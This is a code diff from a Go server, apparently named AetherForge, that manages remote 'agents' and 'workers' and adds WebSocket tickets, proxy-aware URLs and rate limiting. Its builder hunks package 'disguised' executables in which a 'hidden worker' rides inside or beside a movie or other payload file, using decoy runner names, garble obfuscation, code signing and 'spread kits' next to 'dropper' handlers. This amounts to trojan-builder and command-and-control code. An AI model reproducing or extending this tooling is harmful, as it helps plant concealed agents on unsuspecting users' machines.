if !isSPAAuthRequest(req) {
t.Fatal("client header should mark SPA request")
}
req = httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
req.Header.Set("Authorization", "Basic dXNlcjpwYXNz")
if !isSPAAuthRequest(req) {
t.Fatal("Authorization header should mark SPA request")
}
}
func TestBasicAuthMiddlewareSPANoWWWAuthenticate(t *testing.T) {
resetAuthState(t)
usersMu.Lock()
authUsers["admin"] = "secret"
usersMu.Unlock()
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
t.Fatal("handler should not run without auth")
}))
for _, setup := range []func(*http.Request){
func(r *http.Request) { r.Header.Set("X-AetherForge-Client", "dashboard") },
func(r *http.Request) { r.Header.Set("Authorization", "Basic dXNlcjpwYXNz") },
} {
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
setup(req)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
if rec.Header().Get("WWW-Authenticate") != "" {
t.Fatal("SPA-marked 401 must not include WWW-Authenticate")
}
}
} }
func TestBasicAuthMiddlewareValidCredentials(t *testing.T) { func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
@@ -242,6 +288,36 @@ func TestRouterPostUsersValidation(t *testing.T) {
} }
} }
func TestRouterPostUsersConflict(t *testing.T) {
router, _, _, _ := newTestRouter(t)
body, _ := json.Marshal(map[string]string{"username": testAuthUser, "password": "otherpass"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusConflict {
t.Fatalf("existing username should 409, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestRouterPostWSTicket(t *testing.T) {
router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/auth/ws-ticket", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["ticket"] == nil || body["ticket"] == "" {
t.Fatalf("expected ticket in response: %v", body)
}
}
func TestRouterPostUsersSuccess(t *testing.T) { func TestRouterPostUsersSuccess(t *testing.T) {
router, _, _, dataDir := newTestRouter(t) router, _, _, dataDir := newTestRouter(t)
@@ -352,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)
dlURL := "/api/v1/builds/" + buildID + "/download" dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -429,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)
req := httptest.NewRequest(http.MethodGet, "/", nil) req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()

View File

@@ -3,6 +3,7 @@ package api
import ( import (
"net" "net"
"net/http" "net/http"
"net/url"
"strings" "strings"
) )
@@ -15,41 +16,131 @@ type ServerInfo struct {
WebSocketURL string `json:"websocket_url"` WebSocketURL string `json:"websocket_url"`
} }
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string) { // GetServerInfo returns URLs workers and droppers should use to reach this deck.
host := r.Host // When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
if idx := strings.Index(host, ":"); idx > 0 { // suggested_url uses https and omits :443 — not the local listen port (8989).
host = host[:idx] func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
if listenPort <= 0 {
listenPort = 8989
} }
localIPs := listLocalIPv4() localIPs := listLocalIPv4()
suggestedHost := host suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
if isLoopbackHost(host) && len(localIPs) > 0 {
suggestedHost = localIPs[0]
}
port := 8989 host := r.Host
if idx := strings.LastIndex(r.Host, ":"); idx > 0 { port := listenPort
if p := r.Host[idx+1:]; p != "" { if h, p, err := net.SplitHostPort(r.Host); err == nil {
port = parsePort(p) host = h
if parsed := parsePort(p); parsed > 0 {
port = parsed
} }
} }
suggestedURL := "http://" + net.JoinHostPort(suggestedHost, itoa(port))
if strings.TrimSpace(publicURLOverride) != "" {
suggestedURL = strings.TrimSpace(publicURLOverride)
}
info := ServerInfo{ info := ServerInfo{
Port: port, Port: port,
Host: host, Host: host,
LocalIPs: localIPs, LocalIPs: localIPs,
SuggestedURL: suggestedURL, SuggestedURL: suggestedURL,
DashboardURL: suggestedURL, DashboardURL: suggestedURL,
WebSocketURL: strings.Replace(strings.Replace(suggestedURL, "https://", "wss://", 1), "http://", "ws://", 1) + "/ws/agent", WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
} }
writeJSON(w, info) writeJSON(w, info)
} }
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
if norm := normalizePublicURL(publicOverride); norm != "" {
return norm
}
return externalBaseFromRequest(r, listenPort, localIPs)
}
func externalBaseFromRequest(r *http.Request, listenPort int, localIPs []string) string {
scheme := requestScheme(r)
host := requestHost(r)
hostOnly, port := hostAndPort(host, scheme)
if isLoopbackHost(hostOnly) && len(localIPs) > 0 {
hostOnly = localIPs[0]
scheme = "http"
port = listenPort
}
return formatBaseURL(scheme, hostOnly, port)
}
func requestScheme(r *http.Request) string {
if r.TLS != nil {
return "https"
}
if p := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); p != "" {
return strings.ToLower(p)
}
return "http"
}
func requestHost(r *http.Request) string {
if h := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0]); h != "" {
return h
}
return r.Host
}
func hostAndPort(host string, scheme string) (hostOnly string, port int) {
if h, p, err := net.SplitHostPort(host); err == nil {
return strings.Trim(h, "[]"), parsePort(p)
}
if strings.Count(host, ":") == 1 && !strings.Contains(host, "]") {
parts := strings.SplitN(host, ":", 2)
return parts[0], parsePort(parts[1])
}
hostOnly = strings.Trim(host, "[]")
if scheme == "https" {
return hostOnly, 443
}
return hostOnly, 80
}
func formatBaseURL(scheme, host string, port int) string {
host = strings.Trim(host, "[]")
if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
return scheme + "://" + host
}
return scheme + "://" + net.JoinHostPort(host, itoa(port))
}
func normalizePublicURL(raw string) string {
raw = strings.TrimSpace(raw)
if raw == "" {
return ""
}
u, err := url.Parse(raw)
if err != nil || u.Scheme == "" || u.Host == "" {
return strings.TrimRight(raw, "/")
}
_, port := hostAndPort(u.Host, u.Scheme)
u.Host = formatURLHost(u.Hostname(), port, u.Scheme)
u.Path = ""
u.RawPath = ""
u.RawQuery = ""
u.Fragment = ""
return strings.TrimRight(u.String(), "/")
}
func formatURLHost(hostname string, port int, scheme string) string {
if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
return hostname
}
return net.JoinHostPort(hostname, itoa(port))
}
func httpToWS(base string) string {
if strings.HasPrefix(base, "https://") {
return "wss://" + strings.TrimPrefix(base, "https://")
}
return "ws://" + strings.TrimPrefix(base, "http://")
}
func listLocalIPv4() []string { func listLocalIPv4() []string {
var ips []string var ips []string
ifaces, err := net.Interfaces() ifaces, err := net.Interfaces()

View File

@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989" req.Host = "localhost:8989"
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
GetServerInfo(rec, req, "") GetServerInfo(rec, req, "", 8989)
if rec.Code != http.StatusOK { if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String()) t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
@@ -71,16 +71,33 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989" req.Host = "localhost:8989"
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
GetServerInfo(rec, req, "https://forge.example.com:443") GetServerInfo(rec, req, "https://forge.example.com:443", 8989)
var info ServerInfo var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil { if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
t.Fatal(err) t.Fatal(err)
} }
if info.SuggestedURL != "https://forge.example.com:443" { if info.SuggestedURL != "https://forge.example.com" {
t.Fatalf("override not applied: %q", info.SuggestedURL) t.Fatalf("override not applied: %q", info.SuggestedURL)
} }
if info.WebSocketURL != "wss://forge.example.com:443/ws/agent" { if info.WebSocketURL != "wss://forge.example.com/ws/agent" {
t.Fatalf("ws url = %q", info.WebSocketURL) t.Fatalf("ws url = %q", info.WebSocketURL)
} }
} }
func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "nothing.thetempleofdoom.com"
req.Header.Set("X-Forwarded-Proto", "https")
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "", 8989)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
t.Fatal(err)
}
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
}
}

View File

@@ -27,9 +27,14 @@ func secureStringEqual(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1 return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
} }
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade. // checkDashboardWSToken validates dashboard WS upgrade credentials.
// The browser passes btoa("user:pass") — the same value stored in sessionStorage. // Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
func checkDashboardWSToken(r *http.Request) bool { func checkDashboardWSToken(r *http.Request) bool {
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
_, ok := consumeWSTicket(ticket)
return ok
}
token := r.URL.Query().Get("token") token := r.URL.Query().Get("token")
if token == "" { if token == "" {
return false return false
@@ -43,10 +48,17 @@ func checkDashboardWSToken(r *http.Request) bool {
return false return false
} }
user, pass := parts[0], parts[1] user, pass := parts[0], parts[1]
if authCacheHit(user, pass) {
return true
}
usersMu.RLock() usersMu.RLock()
stored, exists := authUsers[user] stored, exists := authUsers[user]
usersMu.RUnlock() usersMu.RUnlock()
return exists && checkPassword(stored, pass) if !exists || !checkPassword(stored, pass) {
return false
}
authCacheSet(user, pass)
return true
} }
var upgrader = websocket.Upgrader{ var upgrader = websocket.Upgrader{
@@ -374,10 +386,8 @@ func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]int
} }
h.pendingCmdMu.Unlock() h.pendingCmdMu.Unlock()
if ok { if ok {
select { // Blocking send — Path Tracer and other orchestrators must not drop results.
case ch <- payload: ch <- payload
default:
}
} }
} }
@@ -464,13 +474,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if clientIP == "" { if clientIP == "" {
clientIP = r.RemoteAddr clientIP = r.RemoteAddr
} }
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
clientIP = clientIP[:idx]
}
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin")) log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
if !allowAgentWSUpgrade(clientIP) {
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
return
}
conn, err := upgrader.Upgrade(w, r, nil) conn, err := upgrader.Upgrade(w, r, nil)
if err != nil { if err != nil {
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err) log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
return return
} }
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP) log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))
agentID := "" agentID := ""
defer func() { defer func() {
@@ -1119,14 +1138,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
} }
} }
} }
default:
if agentID != "" {
log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
} else {
log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
}
} }
} }
} }
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
// Verify dashboard session. The SPA sends its stored Basic-auth token as // Verify dashboard session via short-lived ?ticket= or legacy ?token= (btoa creds).
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
// We decode it and check against the same in-memory user map as the REST API.
if !checkDashboardWSToken(r) { if !checkDashboardWSToken(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized) http.Error(w, "Unauthorized", http.StatusUnauthorized)
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr) log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)

View File

@@ -98,6 +98,18 @@ func TestCheckDashboardWSTokenBcryptUser(t *testing.T) {
} }
} }
func TestCheckDashboardWSTicketOneTime(t *testing.T) {
ticket := issueWSTicket("dash")
req := httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
if !checkDashboardWSToken(req) {
t.Fatal("valid ticket should pass")
}
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
if checkDashboardWSToken(req) {
t.Fatal("ticket should be one-time use")
}
}
func TestHandleDashboardWSUnauthorized(t *testing.T) { func TestHandleDashboardWSUnauthorized(t *testing.T) {
database, err := db.New(t.TempDir()) database, err := db.New(t.TempDir())
if err != nil { if err != nil {

View File

@@ -0,0 +1,54 @@
package api
import (
"crypto/rand"
"encoding/hex"
"sync"
"time"
)
const wsTicketTTL = 2 * time.Minute
type wsTicketEntry struct {
Username string
ExpiresAt time.Time
}
var (
wsTicketMu sync.Mutex
wsTickets = map[string]wsTicketEntry{}
)
// issueWSTicket mints a one-time, short-lived dashboard WebSocket credential.
func issueWSTicket(username string) string {
b := make([]byte, 24)
_, _ = rand.Read(b)
ticket := hex.EncodeToString(b)
wsTicketMu.Lock()
wsTickets[ticket] = wsTicketEntry{Username: username, ExpiresAt: time.Now().Add(wsTicketTTL)}
if len(wsTickets) > 512 {
now := time.Now()
for k, v := range wsTickets {
if now.After(v.ExpiresAt) {
delete(wsTickets, k)
}
}
}
wsTicketMu.Unlock()
return ticket
}
// consumeWSTicket validates and invalidates a ticket (one-time use).
func consumeWSTicket(ticket string) (string, bool) {
wsTicketMu.Lock()
defer wsTicketMu.Unlock()
entry, ok := wsTickets[ticket]
if !ok || time.Now().After(entry.ExpiresAt) {
if ok {
delete(wsTickets, ticket)
}
return "", false
}
delete(wsTickets, ticket)
return entry.Username, true
}

View File

@@ -63,6 +63,11 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
for _, p := range platforms { for _, p := range platforms {
src := workers[p.Label()] src := workers[p.Label()]
if h.shouldSignBuild(req) {
if err := h.signExecutable(src); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
}
destDir := filepath.Join(outDir, p.BinDir()) destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil { if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
@@ -86,6 +91,9 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, "" return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
} }
_ = copyFile(zipPath, filepath.Join(outDir, zipName)) _ = copyFile(zipPath, filepath.Join(outDir, zipName))
if err := h.checkBuildSizeFile(zipPath); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
primary := workers[platforms[0].Label()] primary := workers[platforms[0].Label()]
if w, ok := workers["windows-amd64"]; ok { if w, ok := workers["windows-amd64"]; ok {
@@ -155,6 +163,11 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
if err != nil { if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
} }
if h.shouldSignBuild(req) {
if err := h.signExecutable(res.LauncherPath); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
}
fusionResults = append(fusionResults, res) fusionResults = append(fusionResults, res)
destDir := filepath.Join(outDir, p.BinDir()) destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil { if err := os.MkdirAll(destDir, 0755); err != nil {
@@ -186,14 +199,14 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644) _ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755) _ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
windowsRunnerName := disguisedRunnerName(payloadBase)
readme := fusionReadmeInfo{ readme := fusionReadmeInfo{
Title: titleBase, Title: titleBase,
RunnerName: titleBase + "-runner", RunnerName: windowsRunnerName,
MediaName: payloadBase, MediaName: payloadBase,
PayloadKind: req.FusionPayloadKind, PayloadKind: req.FusionPayloadKind,
MediaMode: mode, MediaMode: mode,
} }
windowsRunnerName := disguisedRunnerName(payloadBase)
unixRunnerName := sanitizeFileName(titleBase+"-runner") unixRunnerName := sanitizeFileName(titleBase+"-runner")
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" + readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" + " Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
@@ -211,6 +224,9 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, "" return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
} }
_ = copyFile(zipPath, filepath.Join(outDir, zipName)) _ = copyFile(zipPath, filepath.Join(outDir, zipName))
if err := h.checkBuildSizeFile(zipPath); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
if primaryPath == "" && len(fusionResults) > 0 { if primaryPath == "" && len(fusionResults) > 0 {
primaryPath = fusionResults[0].LauncherPath primaryPath = fusionResults[0].LauncherPath

View File

@@ -55,24 +55,20 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
workerBytes := h.estimateWorkerBytes() workerBytes := h.estimateWorkerBytes()
stubBytes := defaultFusionStubBytes stubBytes := defaultFusionStubBytes
var total int64 var total int64
switch kind { if mode == "embedded" {
case "video":
if mode == "embedded" {
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
} else {
total = workerBytes + stubBytes + resourcePatchOverhead
}
default:
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
} else {
// paired: payload ships beside the runner, not inside the .exe
total = workerBytes + stubBytes + resourcePatchOverhead
} }
root := h.projectRoot root := h.projectRoot
if root == "" || root == "." { if root == "" || root == "." {
root, _ = filepath.Abs(".") root, _ = filepath.Abs(".")
} }
label := prepName label := strings.TrimSuffix(outputName, filepath.Ext(outputName))
if kind != "video" { if label == "" {
label = strings.TrimSuffix(outputName, filepath.Ext(outputName)) label = prepName
} }
sub := fusionExportSubdir(req, label) sub := fusionExportSubdir(req, label)
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName) projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
@@ -90,27 +86,25 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
Obfuscate: h.shouldObfuscate(req), Obfuscate: h.shouldObfuscate(req),
SignBuild: req.SignBuild, SignBuild: req.SignBuild,
Notes: []string{ Notes: []string{
fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)), fmt.Sprintf("Payload: %s [%s] (%s)", prepName, kind, formatBytes(prepSize)),
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)), fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)), fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)), fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
}, },
} }
if kind == "video" { if mode == "embedded" {
if mode == "embedded" { resp.Notes = append(resp.Notes,
resp.Notes = append(resp.Notes, "Embedded mode: one disguised .exe contains the payload + hidden worker. Best under ~500MB.",
"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.", )
) } else {
} else { resp.Notes = append(resp.Notes,
resp.Notes = append(resp.Notes, "Paired mode: runner .exe + payload file in fusion-deliverables/<title>/.",
"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.", fmt.Sprintf("Payload file stays as %q beside the runner.", prepName),
fmt.Sprintf("Movie file stays as %q beside the runner.", prepName), )
)
}
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
} }
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
if strings.TrimSpace(req.OutputDir) != "" { if strings.TrimSpace(req.OutputDir) != "" {
clean := filepath.Clean(strings.TrimSpace(req.OutputDir)) clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
@@ -126,8 +120,12 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
if h.shouldObfuscate(req) && h.garblePath == "" { if h.shouldObfuscate(req) && h.garblePath == "" {
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).") resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
} }
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") { if req.SignBuild {
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.") if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
} else if !h.signingToolAvailable() {
resp.Notes = append(resp.Notes, signingToolMissingNote())
}
} }
return resp return resp

View File

@@ -18,6 +18,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
req := &BuildRequest{ req := &BuildRequest{
FusionEnabled: true, FusionEnabled: true,
FusionOutputName: "MyApp.exe", FusionOutputName: "MyApp.exe",
FusionMediaMode: "embedded",
OutputDir: "exports", OutputDir: "exports",
Obfuscate: true, Obfuscate: true,
} }
@@ -26,7 +27,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
t.Fatalf("prep bytes: got %d", got.PrepBytes) t.Fatalf("prep bytes: got %d", got.PrepBytes)
} }
if got.EstimatedTotalBytes <= got.PrepBytes { if got.EstimatedTotalBytes <= got.PrepBytes {
t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes) t.Fatalf("embedded total should exceed prep: %d", got.EstimatedTotalBytes)
} }
if got.OutputFileName != "MyApp.exe" { if got.OutputFileName != "MyApp.exe" {
t.Fatalf("output name: %s", got.OutputFileName) t.Fatalf("output name: %s", got.OutputFileName)
@@ -36,33 +37,33 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
} }
} }
func TestEstimateFusionBuildVideoPaired(t *testing.T) { func TestEstimateFusionBuildFilePaired(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{ req := &BuildRequest{
FusionEnabled: true, FusionEnabled: true,
FusionPayloadKind: "video", FusionPayloadKind: "file",
FusionMediaMode: "paired", FusionMediaMode: "paired",
} }
got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv") got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv")
if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes { if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes {
t.Fatalf("paired video should not add full prep to total: %d", got.EstimatedTotalBytes) t.Fatalf("paired file should not add full prep to total: %d", got.EstimatedTotalBytes)
} }
if got.ExportPath == "" { if got.ExportPath == "" {
t.Fatal("expected export path for video") t.Fatal("expected export path for paired file")
} }
} }
func TestEstimateFusionBuildVideoEmbedded(t *testing.T) { func TestEstimateFusionBuildFileEmbedded(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{ req := &BuildRequest{
FusionEnabled: true, FusionEnabled: true,
FusionPayloadKind: "video", FusionPayloadKind: "file",
FusionMediaMode: "embedded", FusionMediaMode: "embedded",
} }
prepSize := int64(50 * 1024 * 1024) prepSize := int64(50 * 1024 * 1024)
got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv") got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv")
if got.EstimatedTotalBytes <= prepSize { if got.EstimatedTotalBytes <= prepSize {
t.Fatalf("embedded video total should include prep: %d", got.EstimatedTotalBytes) t.Fatalf("embedded file total should include prep: %d", got.EstimatedTotalBytes)
} }
} }
@@ -107,11 +108,11 @@ func TestEstimateFusionBuildSignNote(t *testing.T) {
func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) { func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{FusionEnabled: true} req := &BuildRequest{FusionEnabled: true, FusionMediaMode: "embedded"}
prep := filepath.Join(t.TempDir(), "payload.exe") prep := filepath.Join(t.TempDir(), "payload.exe")
got := h.estimateFusionBuild(req, prep, 1024, "payload.exe") got := h.estimateFusionBuild(req, prep, 1024, "payload.exe")
if got.EstimatedTotalBytes <= 1024 { if got.EstimatedTotalBytes <= 1024 {
t.Fatalf("exe payload should add prep size: %d", got.EstimatedTotalBytes) t.Fatalf("embedded exe payload should add prep size: %d", got.EstimatedTotalBytes)
} }
} }
@@ -180,6 +181,26 @@ func TestEstimateWorkerBytesFromHistory(t *testing.T) {
} }
} }
func TestEstimateFusionBuildSignToolMissingNote(t *testing.T) {
h := &Handler{
dataDir: t.TempDir(),
projectRoot: t.TempDir(),
policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "ABC123"}},
}
req := &BuildRequest{FusionEnabled: true, SignBuild: true}
got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
found := false
for _, n := range got.Notes {
if strings.Contains(strings.ToLower(n), "signtool") || strings.Contains(strings.ToLower(n), "osslsigncode") {
found = true
break
}
}
if !found {
t.Fatalf("expected signing tool missing note, got %v", got.Notes)
}
